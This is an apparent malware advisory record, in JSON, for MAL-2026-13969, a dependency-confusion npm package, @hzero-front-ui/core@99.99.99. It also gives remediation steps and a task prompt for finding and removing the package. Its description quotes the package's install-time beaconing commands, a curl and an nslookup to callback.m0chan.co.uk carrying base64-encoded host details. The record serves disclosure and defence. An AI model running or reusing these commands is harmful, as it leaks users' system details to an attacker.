{"answers":{"affected":"1 open source package ship an affected version, including @hzero-front-ui/core.","exploited":"There is no known exploitation of MAL-2026-13969 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-13969 is a malicious package in @hzero-front-ui/core, published on 13 Aug 2026."},"fix_prompt":"MAL-2026-13969 is a malicious package: @hzero-front-ui/core (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-13969/ (Markdown: https://insights.sbomify.com/MAL-2026-13969/index.md)","id":"MAL-2026-13969","markdown":"https://insights.sbomify.com/MAL-2026-13969/index.md","name":"MAL-2026-13969","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"Package @hzero-front-ui/core@99.99.99 is a hollow shell (index.js is only `module.exports = {};`) whose sole functional content is preinstall/install lifecycle scripts. On `npm install`, those scripts collect the installer's username (`whoami`), hostname, current working directory, and npm package name, base64-encode the concatenation, and transmit it to attacker-controlled subdomains of callback.m0chan.co.uk via two channels: an HTTPS GET (`curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64`) and a DNS lookup (`nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk`). The 99.99.99 version and hollow contents under an org-shaped `@hzero-front-ui` scope are the standard dependency-confusion shape — a public-registry high-version package published to shadow an internal namesake and beacon out from any build system that mis-resolves the internal name.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in @hzero-front-ui/core (npm)","id":"MAL-2026-13969","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"@hzero-front-ui/core","purl":"pkg:npm/%40hzero-front-ui/core","source":"MAL-2026-13969"}],"products":null,"published":"2026-08-13","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-13969/"}